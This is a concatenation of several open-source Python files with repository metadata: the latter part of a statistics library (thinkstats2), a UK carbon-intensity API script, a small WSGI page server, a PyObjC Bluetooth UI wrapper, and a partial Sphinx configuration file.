array """ raise UnimplementedMethodException() def MakePmf(self, **options): """Makes a discrete version of this Pdf. options can include label: string low: low end of range high: high end of range n: number of places to evaluate Returns: new Pmf """ label = options.pop('label', '') xs, ds = self.Render(**options) return Pmf(dict(zip(xs, ds)), label=label) def Render(self, **options): """Generates a sequence of points suitable for plotting. If options includes low and high, it must also include n; in that case the density is evaluated an n locations between low and high, including both. If options includes xs, the density is evaluate at those location. Otherwise, self.GetLinspace is invoked to provide the locations. Returns: tuple of (xs, densities) """ low, high = options.pop('low', None), options.pop('high', None) if low is not None and high is not None: n = options.pop('n', 101) xs = np.linspace(low, high, n) else: xs = options.pop('xs', None) if xs is None: xs = self.GetLinspace() ds = self.Density(xs) return xs, ds def Items(self): """Generates a sequence of (value, probability) pairs. """ return zip(*self.Render()) class NormalPdf(Pdf): """Represents the PDF of a Normal distribution.""" def __init__(self, mu=0, sigma=1, label=None): """Constructs a Normal Pdf with given mu and sigma. mu: mean sigma: standard deviation label: string """ self.mu = mu self.sigma = sigma self.label = label if label is not None else '_nolegend_' def __str__(self): return 'NormalPdf(%f, %f)' % (self.mu, self.sigma) def GetLinspace(self): """Get a linspace for plotting. Returns: numpy array """ low, high = self.mu-3*self.sigma, self.mu+3*self.sigma return np.linspace(low, high, 101) def Density(self, xs): """Evaluates this Pdf at xs. xs: scalar or sequence of floats returns: float or NumPy array of probability density """ return stats.norm.pdf(xs, self.mu, self.sigma) class ExponentialPdf(Pdf): """Represents the PDF of an exponential distribution.""" def __init__(self, lam=1, label=None): """Constructs an exponential Pdf with given parameter. lam: rate parameter label: string """ self.lam = lam self.label = label if label is not None else '_nolegend_' def __str__(self): return 'ExponentialPdf(%f)' % (self.lam) def GetLinspace(self): """Get a linspace for plotting. Returns: numpy array """ low, high = 0, 5.0/self.lam return np.linspace(low, high, 101) def Density(self, xs): """Evaluates this Pdf at xs. xs: scalar or sequence of floats returns: float or NumPy array of probability density """ return stats.expon.pdf(xs, scale=1.0/self.lam) class EstimatedPdf(Pdf): """Represents a PDF estimated by KDE.""" def __init__(self, sample, label=None): """Estimates the density function based on a sample. sample: sequence of data label: string """ self.label = label if label is not None else '_nolegend_' self.kde = stats.gaussian_kde(sample) low = min(sample) high = max(sample) self.linspace = np.linspace(low, high, 101) def __str__(self): return 'EstimatedPdf(label=%s)' % str(self.label) def GetLinspace(self): """Get a linspace for plotting. Returns: numpy array """ return self.linspace def Density(self, xs): """Evaluates this Pdf at xs. returns: float or NumPy array of probability density """ return self.kde.evaluate(xs) def Sample(self, n): """Generates a random sample from the estimated Pdf. n: size of sample """ # NOTE: we have to flatten because resample returns a 2-D # array for some reason. return self.kde.resample(n).flatten() def CredibleInterval(pmf, percentage=90): """Computes a credible interval for a given distribution. If percentage=90, computes the 90% CI. Args: pmf: Pmf object representing a posterior distribution percentage: float between 0 and 100 Returns: sequence of two floats, low and high """ cdf = pmf.MakeCdf() prob = (1 - percentage / 100.0) / 2 interval = cdf.Value(prob), cdf.Value(1 - prob) return interval def PmfProbLess(pmf1, pmf2): """Probability that a value from pmf1 is less than a value from pmf2. Args: pmf1: Pmf object pmf2: Pmf object Returns: float probability """ total = 0.0 for v1, p1 in pmf1.Items(): for v2, p2 in pmf2.Items(): if v1 < v2: total += p1 * p2 return total def PmfProbGreater(pmf1, pmf2): """Probability that a value from pmf1 is less than a value from pmf2. Args: pmf1: Pmf object pmf2: Pmf object Returns: float probability """ total = 0.0 for v1, p1 in pmf1.Items(): for v2, p2 in pmf2.Items(): if v1 > v2: total += p1 * p2 return total def PmfProbEqual(pmf1, pmf2): """Probability that a value from pmf1 equals a value from pmf2. Args: pmf1: Pmf object pmf2: Pmf object Returns: float probability """ total = 0.0 for v1, p1 in pmf1.Items(): for v2, p2 in pmf2.Items(): if v1 == v2: total += p1 * p2 return total def RandomSum(dists): """Chooses a random value from each dist and returns the sum. dists: sequence of Pmf or Cdf objects returns: numerical sum """ total = sum(dist.Random() for dist in dists) return total def SampleSum(dists, n): """Draws a sample of sums from a list of distributions. dists: sequence of Pmf or Cdf objects n: sample size returns: new Pmf of sums """ pmf = Pmf(RandomSum(dists) for i in range(n)) return pmf def EvalNormalPdf(x, mu, sigma): """Computes the unnormalized PDF of the normal distribution. x: value mu: mean sigma: standard deviation returns: float probability density """ return stats.norm.pdf(x, mu, sigma) def MakeNormalPmf(mu, sigma, num_sigmas, n=201): """Makes a PMF discrete approx to a Normal distribution. mu: float mean sigma: float standard deviation num_sigmas: how many sigmas to extend in each direction n: number of values in the Pmf returns: normalized Pmf """ pmf = Pmf() low = mu - num_sigmas * sigma high = mu + num_sigmas * sigma for x in np.linspace(low, high, n): p = EvalNormalPdf(x, mu, sigma) pmf.Set(x, p) pmf.Normalize() return pmf def EvalBinomialPmf(k, n, p): """Evaluates the binomial PMF. Returns the probabily of k successes in n trials with probability p. """ return stats.binom.pmf(k, n, p) def MakeBinomialPmf(n, p): """Evaluates the binomial PMF. Returns the distribution of successes in n trials with probability p. """ pmf = Pmf() for k in range(n+1): pmf[k] = stats.binom.pmf(k, n, p) return pmf def EvalHypergeomPmf(k, N, K, n): """Evaluates the hypergeometric PMF. Returns the probabily of k successes in n trials from a population N with K successes in it. """ return stats.hypergeom.pmf(k, N, K, n) def EvalPoissonPmf(k, lam): """Computes the Poisson PMF. k: number of events lam: parameter lambda in events per unit time returns: float probability """ # don't use the scipy function (yet). for lam=0 it returns NaN; # should be 0.0 # return stats.poisson.pmf(k, lam) return lam ** k * math.exp(-lam) / special.gamma(k+1) def MakePoissonPmf(lam, high, step=1): """Makes a PMF discrete approx to a Poisson distribution. lam: parameter lambda in events per unit time high: upper bound of the Pmf returns: normalized Pmf """ pmf = Pmf() for k in range(0, high + 1, step): p = EvalPoissonPmf(k, lam) pmf.Set(k, p) pmf.Normalize() return pmf def EvalExponentialPdf(x, lam): """Computes the exponential PDF. x: value lam: parameter lambda in events per unit time returns: float probability density """ return lam * math.exp(-lam * x) def EvalExponentialCdf(x, lam): """Evaluates CDF of the exponential distribution with parameter lam.""" return 1 - math.exp(-lam * x) def MakeExponentialPmf(lam, high, n=200): """Makes a PMF discrete approx to an exponential distribution. lam: parameter lambda in events per unit time high: upper bound n: number of values in the Pmf returns: normalized Pmf """ pmf = Pmf() for x in np.linspace(0, high, n): p = EvalExponentialPdf(x, lam) pmf.Set(x, p) pmf.Normalize() return pmf def StandardNormalCdf(x): """Evaluates the CDF of the standard Normal distribution. See http://en.wikipedia.org/wiki/Normal_distribution #Cumulative_distribution_function Args: x: float Returns: float """ return (math.erf(x / ROOT2) + 1) / 2 def EvalNormalCdf(x, mu=0, sigma=1): """Evaluates the CDF of the normal distribution. Args: x: float mu: mean parameter sigma: standard deviation parameter Returns: float """ return stats.norm.cdf(x, loc=mu, scale=sigma) def EvalNormalCdfInverse(p, mu=0, sigma=1): """Evaluates the inverse CDF of the normal distribution. See http://en.wikipedia.org/wiki/Normal_distribution#Quantile_function Args: p: float mu: mean parameter sigma: standard deviation parameter Returns: float """ return stats.norm.ppf(p, loc=mu, scale=sigma) def EvalLognormalCdf(x, mu=0, sigma=1): """Evaluates the CDF of the lognormal distribution. x: float or sequence mu: mean parameter sigma: standard deviation parameter Returns: float or sequence """ return stats.lognorm.cdf(x, loc=mu, scale=sigma) def RenderExpoCdf(lam, low, high, n=101): """Generates sequences of xs and ps for an exponential CDF. lam: parameter low: float high: float n: number of points to render returns: numpy arrays (xs, ps) """ xs = np.linspace(low, high, n) ps = 1 - np.exp(-lam * xs) #ps = stats.expon.cdf(xs, scale=1.0/lam) return xs, ps def RenderNormalCdf(mu, sigma, low, high, n=101): """Generates sequences of xs and ps for a Normal CDF. mu: parameter sigma: parameter low: float high: float n: number of points to render returns: numpy arrays (xs, ps) """ xs = np.linspace(low, high, n) ps = stats.norm.cdf(xs, mu, sigma) return xs, ps def RenderParetoCdf(xmin, alpha, low, high, n=50): """Generates sequences of xs and ps for a Pareto CDF. xmin: parameter alpha: parameter low: float high: float n: number of points to render returns: numpy arrays (xs, ps) """ if low < xmin: low = xmin xs = np.linspace(low, high, n) ps = 1 - (xs / xmin) ** -alpha #ps = stats.pareto.cdf(xs, scale=xmin, b=alpha) return xs, ps class Beta(object): """Represents a Beta distribution. See http://en.wikipedia.org/wiki/Beta_distribution """ def __init__(self, alpha=1, beta=1, label=None): """Initializes a Beta distribution.""" self.alpha = alpha self.beta = beta self.label = label if label is not None else '_nolegend_' def Update(self, data): """Updates a Beta distribution. data: pair of int (heads, tails) """ heads, tails = data self.alpha += heads self.beta += tails def Mean(self): """Computes the mean of this distribution.""" return self.alpha / (self.alpha + self.beta) def Random(self): """Generates a random variate from this distribution.""" return random.betavariate(self.alpha, self.beta) def Sample(self, n): """Generates a random sample from this distribution. n: int sample size """ size = n, return np.random.beta(self.alpha, self.beta, size) def EvalPdf(self, x): """Evaluates the PDF at x.""" return x ** (self.alpha - 1) * (1 - x) ** (self.beta - 1) def MakePmf(self, steps=101, label=None): """Returns a Pmf of this distribution. Note: Normally, we just evaluate the PDF at a sequence of points and treat the probability density as a probability mass. But if alpha or beta is less than one, we have to be more careful because the PDF goes to infinity at x=0 and x=1. In that case we evaluate the CDF and compute differences. The result is a little funny, because the values at 0 and 1 are not symmetric. Nevertheless, it is a reasonable discrete model of the continuous distribution, and behaves well as the number of values increases. """ if self.alpha < 1 or self.beta < 1: cdf = self.MakeCdf() pmf = cdf.MakePmf() return pmf xs = [i / (steps - 1.0) for i in range(steps)] probs = [self.EvalPdf(x) for x in xs] pmf = Pmf(dict(zip(xs, probs)), label=label) return pmf def MakeCdf(self, steps=101): """Returns the CDF of this distribution.""" xs = [i / (steps - 1.0) for i in range(steps)] ps = special.betainc(self.alpha, self.beta, xs) cdf = Cdf(xs, ps) return cdf def Percentile(self, ps): """Returns the given percentiles from this distribution. ps: scalar, array, or list of [0-100] """ ps = np.asarray(ps) / 100 xs = special.betaincinv(self.alpha, self.beta, ps) return xs class Dirichlet(object): """Represents a Dirichlet distribution. See http://en.wikipedia.org/wiki/Dirichlet_distribution """ def __init__(self, n, conc=1, label=None): """Initializes a Dirichlet distribution. n: number of dimensions conc: concentration parameter (smaller yields more concentration) label: string label """ if n < 2: raise ValueError('A Dirichlet distribution with ' 'n<2 makes no sense') self.n = n self.params = np.ones(n, dtype=np.float) * conc self.label = label if label is not None else '_nolegend_' def Update(self, data): """Updates a Dirichlet distribution. data: sequence of observations, in order corresponding to params """ m = len(data) self.params[:m] += data def Random(self): """Generates a random variate from this distribution. Returns: normalized vector of fractions """ p = np.random.gamma(self.params) return p / p.sum() def Likelihood(self, data): """Computes the likelihood of the data. Selects a random vector of probabilities from this distribution. Returns: float probability """ m = len(data) if self.n < m: return 0 x = data p = self.Random() q = p[:m] ** x return q.prod() def LogLikelihood(self, data): """Computes the log likelihood of the data. Selects a random vector of probabilities from this distribution. Returns: float log probability """ m = len(data) if self.n < m: return float('-inf') x = self.Random() y = np.log(x[:m]) * data return y.sum() def MarginalBeta(self, i): """Computes the marginal distribution of the ith element. See http://en.wikipedia.org/wiki/Dirichlet_distribution #Marginal_distributions i: int Returns: Beta object """ alpha0 = self.params.sum() alpha = self.params[i] return Beta(alpha, alpha0 - alpha) def PredictivePmf(self, xs, label=None): """Makes a predictive distribution. xs: values to go into the Pmf Returns: Pmf that maps from x to the mean prevalence of x """ alpha0 = self.params.sum() ps = self.params / alpha0 return Pmf(zip(xs, ps), label=label) def BinomialCoef(n, k): """Compute the binomial coefficient "n choose k". n: number of trials k: number of successes Returns: float """ return scipy.misc.comb(n, k) def LogBinomialCoef(n, k): """Computes the log of the binomial coefficient. http://math.stackexchange.com/questions/64716/ approximating-the-logarithm-of-the-binomial-coefficient n: number of trials k: number of successes Returns: float """ return n * math.log(n) - k * math.log(k) - (n - k) * math.log(n - k) def NormalProbability(ys, jitter=0.0): """Generates data for a normal probability plot. ys: sequence of values jitter: float magnitude of jitter added to the ys returns: numpy arrays xs, ys """ n = len(ys) xs = np.random.normal(0, 1, n) xs.sort() if jitter: ys = Jitter(ys, jitter) else: ys = np.array(ys) ys.sort() return xs, ys def Jitter(values, jitter=0.5): """Jitters the values by adding a uniform variate in (-jitter, jitter). values: sequence jitter: scalar magnitude of jitter returns: new numpy array """ n = len(values) return np.random.normal(0, jitter, n) + values def NormalProbabilityPlot(sample, fit_color='0.8', **options): """Makes a normal probability plot with a fitted line. sample: sequence of numbers fit_color: color string for the fitted line options: passed along to Plot """ xs, ys = NormalProbability(sample) mean, var = MeanVar(sample) std = math.sqrt(var) fit = FitLine(xs, mean, std) thinkplot.Plot(*fit, color=fit_color, label='model') xs, ys = NormalProbability(sample) thinkplot.Plot(xs, ys, **options) def Mean(xs): """Computes mean. xs: sequence of values returns: float mean """ return np.mean(xs) def Var(xs, mu=None, ddof=0): """Computes variance. xs: sequence of values mu: option known mean ddof: delta degrees of freedom returns: float """ xs = np.asarray(xs) if mu is None: mu = xs.mean() ds = xs - mu return np.dot(ds, ds) / (len(xs) - ddof) def Std(xs, mu=None, ddof=0): """Computes standard deviation. xs: sequence of values mu: option known mean ddof: delta degrees of freedom returns: float """ var = Var(xs, mu, ddof) return math.sqrt(var) def MeanVar(xs, ddof=0): """Computes mean and variance. Based on http://stackoverflow.com/questions/19391149/ numpy-mean-and-variance-from-single-function xs: sequence of values ddof: delta degrees of freedom returns: pair of float, mean and var """ xs = np.asarray(xs) mean = xs.mean() s2 = Var(xs, mean, ddof) return mean, s2 def Trim(t, p=0.01): """Trims the largest and smallest elements of t. Args: t: sequence of numbers p: fraction of values to trim off each end Returns: sequence of values """ n = int(p * len(t)) t = sorted(t)[n:-n] return t def TrimmedMean(t, p=0.01): """Computes the trimmed mean of a sequence of numbers. Args: t: sequence of numbers p: fraction of values to trim off each end Returns: float """ t = Trim(t, p) return Mean(t) def TrimmedMeanVar(t, p=0.01): """Computes the trimmed mean and variance of a sequence of numbers. Side effect: sorts the list. Args: t: sequence of numbers p: fraction of values to trim off each end Returns: float """ t = Trim(t, p) mu, var = MeanVar(t) return mu, var def CohenEffectSize(group1, group2): """Compute Cohen's d. group1: Series or NumPy array group2: Series or NumPy array returns: float """ diff = group1.mean() - group2.mean() n1, n2 = len(group1), len(group2) var1 = group1.var() var2 = group2.var() pooled_var = (n1 * var1 + n2 * var2) / (n1 + n2) d = diff / math.sqrt(pooled_var) return d def Cov(xs, ys, meanx=None, meany=None): """Computes Cov(X, Y). Args: xs: sequence of values ys: sequence of values meanx: optional float mean of xs meany: optional float mean of ys Returns: Cov(X, Y) """ xs = np.asarray(xs) ys = np.asarray(ys) if meanx is None: meanx = np.mean(xs) if meany is None: meany = np.mean(ys) cov = np.dot(xs-meanx, ys-meany) / len(xs) return cov def Corr(xs, ys): """Computes Corr(X, Y). Args: xs: sequence of values ys: sequence of values Returns: Corr(X, Y) """ xs = np.asarray(xs) ys = np.asarray(ys) meanx, varx = MeanVar(xs) meany, vary = MeanVar(ys) corr = Cov(xs, ys, meanx, meany) / math.sqrt(varx * vary) return corr def SerialCorr(series, lag=1): """Computes the serial correlation of a series. series: Series lag: integer number of intervals to shift returns: float correlation """ xs = series[lag:] ys = series.shift(lag)[lag:] corr = Corr(xs, ys) return corr def SpearmanCorr(xs, ys): """Computes Spearman's rank correlation. Args: xs: sequence of values ys: sequence of values Returns: float Spearman's correlation """ xranks = pandas.Series(xs).rank() yranks = pandas.Series(ys).rank() return Corr(xranks, yranks) def MapToRanks(t): """Returns a list of ranks corresponding to the elements in t. Args: t: sequence of numbers Returns: list of integer ranks, starting at 1 """ # pair up each value with its index pairs = enumerate(t) # sort by value sorted_pairs = sorted(pairs, key=itemgetter(1)) # pair up each pair with its rank ranked = enumerate(sorted_pairs) # sort by index resorted = sorted(ranked, key=lambda trip: trip[1][0]) # extract the ranks ranks = [trip[0]+1 for trip in resorted] return ranks def LeastSquares(xs, ys): """Computes a linear least squares fit for ys as a function of xs. Args: xs: sequence of values ys: sequence of values Returns: tuple of (intercept, slope) """ meanx, varx = MeanVar(xs) meany = Mean(ys) slope = Cov(xs, ys, meanx, meany) / varx inter = meany - slope * meanx return inter, slope def FitLine(xs, inter, slope): """Fits a line to the given data. xs: sequence of x returns: tuple of numpy arrays (sorted xs, fit ys) """ fit_xs = np.sort(xs) fit_ys = inter + slope * fit_xs return fit_xs, fit_ys def Residuals(xs, ys, inter, slope): """Computes residuals for a linear fit with parameters inter and slope. Args: xs: independent variable ys: dependent variable inter: float intercept slope: float slope Returns: list of residuals """ xs = np.asarray(xs) ys = np.asarray(ys) res = ys - (inter + slope * xs) return res def CoefDetermination(ys, res): """Computes the coefficient of determination (R^2) for given residuals. Args: ys: dependent variable res: residuals Returns: float coefficient of determination """ return 1 - Var(res) / Var(ys) def CorrelatedGenerator(rho): """Generates standard normal variates with serial correlation. rho: target coefficient of correlation Returns: iterable """ x = random.gauss(0, 1) yield x sigma = math.sqrt(1 - rho**2) while True: x = random.gauss(x * rho, sigma) yield x def CorrelatedNormalGenerator(mu, sigma, rho): """Generates normal variates with serial correlation. mu: mean of variate sigma: standard deviation of variate rho: target coefficient of correlation Returns: iterable """ for x in CorrelatedGenerator(rho): yield x * sigma + mu def RawMoment(xs, k): """Computes the kth raw moment of xs. """ return sum(x**k for x in xs) / len(xs) def CentralMoment(xs, k): """Computes the kth central moment of xs. """ mean = RawMoment(xs, 1) return sum((x - mean)**k for x in xs) / len(xs) def StandardizedMoment(xs, k): """Computes the kth standardized moment of xs. """ var = CentralMoment(xs, 2) std = math.sqrt(var) return CentralMoment(xs, k) / std**k def Skewness(xs): """Computes skewness. """ return StandardizedMoment(xs, 3) def Median(xs): """Computes the median (50th percentile) of a sequence. xs: sequence or anything else that can initialize a Cdf returns: float """ cdf = Cdf(xs) return cdf.Value(0.5) def IQR(xs): """Computes the interquartile of a sequence. xs: sequence or anything else that can initialize a Cdf returns: pair of floats """ cdf = Cdf(xs) return cdf.Value(0.25), cdf.Value(0.75) def PearsonMedianSkewness(xs): """Computes the Pearson median skewness. """ median = Median(xs) mean = RawMoment(xs, 1) var = CentralMoment(xs, 2) std = math.sqrt(var) gp = 3 * (mean - median) / std return gp class FixedWidthVariables(object): """Represents a set of variables in a fixed width file.""" def __init__(self, variables, index_base=0): """Initializes. variables: DataFrame index_base: are the indices 0 or 1 based? Attributes: colspecs: list of (start, end) index tuples names: list of string variable names """ self.variables = variables # note: by default, subtract 1 from colspecs self.colspecs = variables[['start', 'end']] - index_base # convert colspecs to a list of pair of int self.colspecs = self.colspecs.astype(np.int).values.tolist() self.names = variables['name'] def ReadFixedWidth(self, filename, **options): """Reads a fixed width ASCII file. filename: string filename returns: DataFrame """ df = pandas.read_fwf(filename, colspecs=self.colspecs, names=self.names, **options) return df def ReadStataDct(dct_file, **options): """Reads a Stata dictionary file. dct_file: string filename options: dict of options passed to open() returns: FixedWidthVariables object """ type_map = dict(byte=int, int=int, long=int, float=float, double=float) var_info = [] for line in open(dct_file, **options): match = re.search( r'_column\(([^)]*)\)', line) if match: start = int(match.group(1)) t = line.split() vtype, name, fstring = t[1:4] name = name.lower() if vtype.startswith('str'): vtype = str else: vtype = type_map[vtype] long_desc = ' '.join(t[4:]).strip('"') var_info.append((start, vtype, name, fstring, long_desc)) columns = ['start', 'type', 'name', 'fstring', 'desc'] variables = pandas.DataFrame(var_info, columns=columns) # fill in the end column by shifting the start column variables['end'] = variables.start.shift(-1) variables.loc[len(variables)-1, 'end'] = 0 dct = FixedWidthVariables(variables, index_base=1) return dct def Resample(xs, n=None): """Draw a sample from xs with the same length as xs. xs: sequence n: sample size (default: len(xs)) returns: NumPy array """ if n is None: n = len(xs) return np.random.choice(xs, n, replace=True) def SampleRows(df, nrows, replace=False): """Choose a sample of rows from a DataFrame. df: DataFrame nrows: number of rows replace: whether to sample with replacement returns: DataDf """ indices = np.random.choice(df.index, nrows, replace=replace) sample = df.loc[indices] return sample def ResampleRows(df): """Resamples rows from a DataFrame. df: DataFrame returns: DataFrame """ return SampleRows(df, len(df), replace=True) def ResampleRowsWeighted(df, column='finalwgt'): """Resamples a DataFrame using probabilities proportional to given column. df: DataFrame column: string column name to use as weights returns: DataFrame """ weights = df[column].copy() weights /= sum(weights) indices = np.random.choice(df.index, len(df), replace=True, p=weights) sample = df.loc[indices] return sample def PercentileRow(array, p): """Selects the row from a sorted array that maps to percentile p. p: float 0--100 returns: NumPy array (one row) """ rows, cols = array.shape index = int(rows * p / 100) return array[index,] def PercentileRows(ys_seq, percents): """Given a collection of lines, selects percentiles along vertical axis. For example, if ys_seq contains simulation results like ys as a function of time, and percents contains (5, 95), the result would be a 90% CI for each vertical slice of the simulation results. ys_seq: sequence of lines (y values) percents: list of percentiles (0-100) to select returns: list of NumPy arrays, one for each percentile """ nrows = len(ys_seq) ncols = len(ys_seq[0]) array = np.zeros((nrows, ncols)) for i, ys in enumerate(ys_seq): array[i,] = ys array = np.sort(array, axis=0) rows = [PercentileRow(array, p) for p in percents] return rows def Smooth(xs, sigma=2, **options): """Smooths a NumPy array with a Gaussian filter. xs: sequence sigma: standard deviation of the filter """ return ndimage.filters.gaussian_filter1d(xs, sigma, **options) class HypothesisTest(object): """Represents a hypothesis test.""" def __init__(self, data): """Initializes. data: data in whatever form is relevant """ self.data = data self.MakeModel() self.actual = self.TestStatistic(data) self.test_stats = None self.test_cdf = None def PValue(self, iters=1000): """Computes the distribution of the test statistic and p-value. iters: number of iterations returns: float p-value """ self.test_stats = [self.TestStatistic(self.RunModel()) for _ in range(iters)] self.test_cdf = Cdf(self.test_stats) count = sum(1 for x in self.test_stats if x >= self.actual) return count / iters def MaxTestStat(self): """Returns the largest test statistic seen during simulations. """ return max(self.test_stats) def PlotCdf(self, label=None): """Draws a Cdf with vertical lines at the observed test stat. """ def VertLine(x): """Draws a vertical line at x.""" thinkplot.Plot([x, x], [0, 1], color='0.8') VertLine(self.actual) thinkplot.Cdf(self.test_cdf, label=label) def TestStatistic(self, data): """Computes the test statistic. data: data in whatever form is relevant """ raise UnimplementedMethodException() def MakeModel(self): """Build a model of the null hypothesis. """ pass def RunModel(self): """Run the model of the null hypothesis. returns: simulated data """ raise UnimplementedMethodException() def main(): pass if __name__ == '__main__': main()
smorton2/think-stats
code/thinkstats2.py
Python
gpl-3.0
70,025
"""Get CO2 emission data from the UK CarbonIntensity API""" __author__ = "Danang Haris Setiawan" __email__ = "mr.danangharissetiawan@gmail.com" __github__ = "https://github.com/danangharissetiawan/" from datetime import date import requests BASE_URL = "https://api.carbonintensity.org.uk/intensity" # Emission in the last half hour def fetch_last_half_hour() -> str: last_half_hour = requests.get(BASE_URL).json()["data"][0] return last_half_hour["intensity"]["actual"] # Emissions in a specific date range def fetch_from_to(start, end) -> list: return requests.get(f"{BASE_URL}/{start}/{end}").json()["data"] if __name__ == "__main__": for entry in fetch_from_to(start=date(2020, 10, 1), end=date(2020, 10, 3)): print("from {from} to {to}: {intensity[actual]}".format(**entry)) print(f"{fetch_last_half_hour() = }")
OpenGenus/cosmos
code/languages/python/web_programming/co2_emission.py
Python
gpl-3.0
854
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright © 2015 Simon Forman # # This file is part of Eumirion. # # Eumirion is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Eumirion is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Eumirion. If not, see <http://www.gnu.org/licenses/>. # from traceback import format_exc from .html import HTML, ok200, err500, posting class EumiServer(object): def __init__(self, pather, page_renderer, base_dir='./server'): self.pather = pather self.router = {} self.page_renderer = page_renderer self.base_dir = base_dir self.modified = False self.debug = False def handle_request(self, environ, start_response): environ['path'] = path = self.pather(environ['PATH_INFO']) handler = self.router.get(path, self.default_handler) response = handler(environ) return ok200(start_response, response) def default_handler(self, environ): path = environ['path'] self.router[path] = handler = PageHandler(self) return handler(environ) def render(self, environ, page_data, head, body): page_renderer = self.page_renderer(self.router, environ, page_data, head, body) if self.base_dir and posting(environ): page_renderer.update_files(self.base_dir) return page_renderer() def __call__(self, environ, start_response): if self.debug: return self.handle_request(environ, start_response) try: return self.handle_request(environ, start_response) except MalformedURL, err: message = MalformedURL.__doc__ % (environ['PATH_INFO'], err.args[0]) return err500(start_response, message) except: return err500(start_response, format_exc()) class PageHandler(object): def __init__(self, server, data=None): self.server = server self.data = data self.response = None def __call__(self, environ): if posting(environ) or not self.response: self.post(environ) self.server.modified = True return self.response def post(self, environ): doc = HTML() self.data = self.server.render(environ, self.data, doc.head, doc.body) self.response = str(doc) class MalformedURL(Exception): '''This URL is no good: %r Reason: %s It must be /nnnnnnnn/nnnnnnnn where the n's stand for any of "0123456789abcdefABCDEF".''' def pather(path_info): ''' Extract and return the path (location or coordinates) from a given request PATH_INFO. Raises MalformedURL if the URL is no good. The expected pattern is '/nnnnnnnn/nnnnnnnn' where the n's are hexidecimal digits. ''' path = path_info.strip('/') n = len(path) if n < 17: raise MalformedURL('Too short (%i), not just right (17)!' % n) elif n > 17: raise MalformedURL('Too long (%i), not just right (17)!' % n) kind, slash, unit = path.partition('/') if not slash: raise MalformedURL('There should be a slash in it.') try: kind = int(kind, 16) unit = int(unit, 16) except (TypeError, ValueError): raise MalformedURL('The chars can only be one of' ' abcdef or ABCDEF or 0123456789.') return kind, unit
PhoenixBureau/eumirion
eumi/server.py
Python
gpl-3.0
3,593
# Copyright (c) 2009 Bea Lam. All rights reserved. # # This file is part of LightBlue. # # LightBlue is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # LightBlue is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with LightBlue. If not, see <http://www.gnu.org/licenses/>. """ Provides a python interface to the Mac OSX IOBluetoothUI Framework classes, through PyObjC. For example: >>> from lightblue import _IOBluetoothUI >>> selector = _IOBluetoothUI.IOBluetoothDeviceSelectorController.deviceSelector() >>> selector.runModal() # ask user to select a device -1000 >>> for device in selector.getResults(): ... print device.getName() # show name of selected device ... Nokia 6600 >>> See http://developer.apple.com/documentation/DeviceDrivers/Reference/IOBluetoothUI/index.html for Apple's IOBluetoothUI documentation. See http://pyobjc.sourceforge.net for details on how to access Objective-C classes through PyObjC. """ import objc try: # mac os 10.5 loads frameworks using bridgesupport metadata __bundle__ = objc.initFrameworkWrapper("IOBluetoothUI", frameworkIdentifier="com.apple.IOBluetoothUI", frameworkPath=objc.pathForFramework( "/System/Library/Frameworks/IOBluetoothUI.framework"), globals=globals()) except AttributeError: # earlier versions use loadBundle() and setSignatureForSelector() objc.loadBundle("IOBluetoothUI", globals(), bundle_path=objc.pathForFramework(u'/System/Library/Frameworks/IOBluetoothUI.framework')) del objc
manuelnaranjo/LightBlue---Mac
src/mac/_IOBluetoothUI.py
Python
gpl-3.0
2,061
# -*- coding: utf-8 -*- # # sample documentation build configuration file, created by # sphinx-quickstart on Mon Apr 16 21:22:43 2012. # # This file is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys, os # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) # -- General configuration ----------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = [] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'python-spore-code' copyright = u'2017, Arnaud Grausem' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = 'v0.0.1' # The full version, including alpha/beta/rc tags. release = 'v0.0.1' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the 